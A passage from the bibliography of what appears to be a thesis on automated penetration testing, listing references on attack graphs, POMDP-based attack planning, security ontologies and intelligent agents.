reinforcement learning. arXiv preprint arXiv:1312.5602, 2013.
[71] George E Monahan. State of the arta survey of partially observable markov
decision processes: theory, models, and algorithms. Management science,
28(1):1–16, 1982.
[73] Steve Morgan. Cybersecurity talent crunch to create 3.5 million unfilled jobs globally
by 2021. Cybercrime Magazine, 2019.
[74] Francois Mouton, Louise Leenen, and Hein S Venter. Social engineering attack
examples, templates and scenarios. Computers & Security, 59:186–209, 2016.
[75] Mark A Musen et al. The protégé project: a look back and a look forward. AI
matters, 1(4):4, 2015.
110 Ge Chu
[76] Chris Nickerson, Dave Kennedy, E Smith, A Rabie, S Friedli, J Searle, B Knight,
C Gates, and J McCray. Penetration testing execution standard, 2014.
[77] Zhu Ning, Chen Xin-yuan, Zhang Yong-fu, and Xin Si-yuan. Design and application
of penetration attack tree model oriented to attack resistance test. In 2008 Interna-
tional Conference on Computer Science and Software Engineering, volume 3, pages
622–626. IEEE, 2008.
[78] Duane Norton. An ettercap primer. SANS Institute InfoSec Reading Room, 5, 2004.
[79] Jorge Lucangeli Obes, Carlos Sarraute, and Gerardo Richarte. Attack planning in
the real world. arXiv preprint arXiv:1306.4044, 2013.
[80] Xinming Ou, Sudhakar Govindavajhala, and Andrew W Appel. Mulval: A logic-
based network security analyzer. In USENIX security symposium, volume 8, pages
113–128. Baltimore, MD, 2005.
[81] Yusuf Perwej, Firoj Parwej, Mumdouh Mirghani Mohamed Hassan, and Nikhat
Akhtar. The internet-of-things (iot) security: A technological perspective and re-
view. International Journal of Scientific Research in Computer Science, Engineering
and Information Technology (IJSRCSEIT), ISSN, pages 2456–3307, 2019.
[82] John Pinkston, Jeffrey Undercoffer, Anupam Joshi, and Timothy Finin. A target-
centric ontology for intrusion detection. In In proceeding of the IJCAI-03 Workshop
on Ontologies and Distributed Systems. Acapulco, August 9 th. Citeseer, 2004.
[83] Anand S Rao and Michael P Georgeff. Modeling rational agents within a bdi-
architecture. KR, 91:473–484, 1991.
[84] Rajesh PN Rao. Decision making under uncertainty: a neural model based on par-
tially observable markov decision processes. Frontiers in computational neuroscience,
4:146, 2010.
[85] Andrs Riancho. w3af-web application attack and audit framework. World Wide Web
electronic publication, 21, 2011.
Bibliography 111
[86] Mark Roberts, Adele Howe, Indrajit Ray, Malgorzata Urbanska, Zinta S Byrne, and
Janet M Weidert. Personalized vulnerability analysis through automated planning.
In Working Notes for the 2011 IJCAI Workshop on Intelligent Security (SecArt),
page 50, 2011.
[87] Carlos Sarraute, Olivier Buffet, and Jörg Hoffmann. Pomdps make better hackers:
Accounting for uncertainty in penetration testing. In Twenty-Sixth AAAI Conference
on Artificial Intelligence, 2012.
[88] Carlos Sarraute, Olivier Buffet, and Jörg Hoffmann. Penetration testing== pomdp
solving? arXiv preprint arXiv:1306.4714, 2013.
[89] Carlos Sarraute, Gerardo Richarte, and Jorge Lucángeli Obes. An algorithm to find
optimal attack paths in nondeterministic scenarios. In Proceedings of the 4th ACM
workshop on Security and artificial intelligence, pages 71–80, 2011.
[90] Bruce Schneier. Attack trees. Dr. Dobbs journal, 24(12):21–29, 1999.
[91] Sugandh Shah and Babu M Mehtre. An overview of vulnerability assessment and
penetration testing techniques. Journal of Computer Virology and Hacking Tech-
niques, 11(1):27–49, 2015.
[92] Blake Shepard, Cynthia Matuszek, C Bruce Fraser, William Wechtenhiser, David
Crabbe, Zelal Güngördü, John Jantos, Todd Hughes, Larry Lefkowitz, Michael Wit-
brock, et al. A knowledge-based approach to network security: applying cyc in
the domain of network risk assessment. UMBC Computer Science and Electrical
Engineering Department Collection, 2005.
[93] Oleg Sheyner, Joshua Haines, Somesh Jha, Richard Lippmann, and Jeannette M
Wing. Automated generation and analysis of attack graphs. In Proceedings 2002
IEEE Symposium on Security and Privacy, pages 273–284. IEEE, 2002.
[94] Dorin Shmaryahu, G Shani, J Hoffmann, and M Steinmetz. Constructing plan trees
for simulated penetration testing. In The 26th international conference on automated
planning and scheduling, volume 121, 2016.
112 Ge Chu
[95] Walidatush Sholihah, Sangga Pripambudi, and Anggi Mardiyono. Log event manage-
ment server menggunakan elastic search logstash kibana (elk stack). JTIM: Jurnal
Teknologi Informasi dan Multimedia, 2(1):12–20, 2020.
[96] Kai Simon, Cornelius Moucha, and Jörg Keller. Contactless vulnerability analysis
using google and shodan. J. UCS, 23(4):404–430, 2017.
[97] Yaroslav Stefinko, Andrian Piskozub, and Roman Banakh. Manual and automated
penetration testing. benefits and drawbacks. modern tendency. In 2016 13th Interna-
tional Conference on Modern Problems of Radio Engineering, Telecommunications
and Computer Science (TCSET), pages 488–491. IEEE, 2016.
[98] Blake E Strom, Andy Applebaum, Doug P Miller, Kathryn C Nickels, Adam G
Pennington, and Cody B Thomas. Mitre att&ck: Design and philosophy. Technical
report, 2018.
[99] Laura P Swiler and Cynthia Phillips. A graph-based system for network-vulnerability
analysis. Technical report, Sandia National Labs., Albuquerque, NM (United States),
1998.
[100] Steven J Templeton and Karl Levitt. A requires/provides model for computer at-
tacks. In Proceedings of the 2000 workshop on New security paradigms, pages 31–38,
2001.
[101] Terry Tidwell, Ryan Larson, Kenneth Fitch, and John Hale. Modeling internet
attacks. In Proceedings of the 2001 IEEE Workshop on Information Assurance and
security, volume 59. United States Military Academy West Point, NY, 2001.
[102] Andrew van der Stock, Brian Glas, and T Gigler. Owasp top 10 2017. The Ten Most
Critical Web Application Security Risks, 2017.
[103] HS Venter and Jan HP Eloff. A taxonomy for information security technologies.
Computers & Security, 22(4):299–307, 2003.
Bibliography 113
[104] John Wack, Miles Tracy, and Murugiah Souppaya. Nist special publication 800-
42,guideline on network security testing. Computer Security Division, National In-
stitute of Standards and Technology, pages 1–92, 2003.
[105] Ju An Wang and Minzhe Guo. Ovm: an ontology for vulnerability management. In
Proceedings of the 5th Annual Workshop on Cyber Security and Information Intelli-
gence Research: Cyber Security and Information Intelligence Challenges and Strate-
gies, page 34. ACM, 2009.
[106] Lingyu Wang, Tania Islam, Tao Long, Anoop Singhal, and Sushil Jajodia. An attack
graph-based probabilistic security metric. In IFIP Annual Conference on Data and
Applications Security and Privacy, pages 283–296. Springer, 2008.
[107] Jonathan D Weiss. A system security engineering process. In Proceedings of the 14th
National Computer Security Conference, volume 249, pages 572–581, 1991.
[108] Michael Wooldridge. An introduction to multiagent systems. John Wiley & Sons,
2009.
[109] Michael Wooldridge and Nicholas R Jennings. Intelligent agents: Theory and prac-
tice. The knowledge engineering review, 10(2):115–152, 1995.
[110] Håkan LS Younes and Michael L Littman. Ppddl1. 0: The language for the proba-
bilistic part of ipc-4. In Proc. International Planning Competition, 2004.
[111] Jianming Zhao, Wenli Shang, Ming Wan, and Peng Zeng. Penetration testing au-
tomation assessment method based on rule tree. In 2015 IEEE International Con-
ference on Cyber Technology in Automation, Control, and Intelligent Systems (CY-
BER), pages 1829–1833. IEEE, 2015.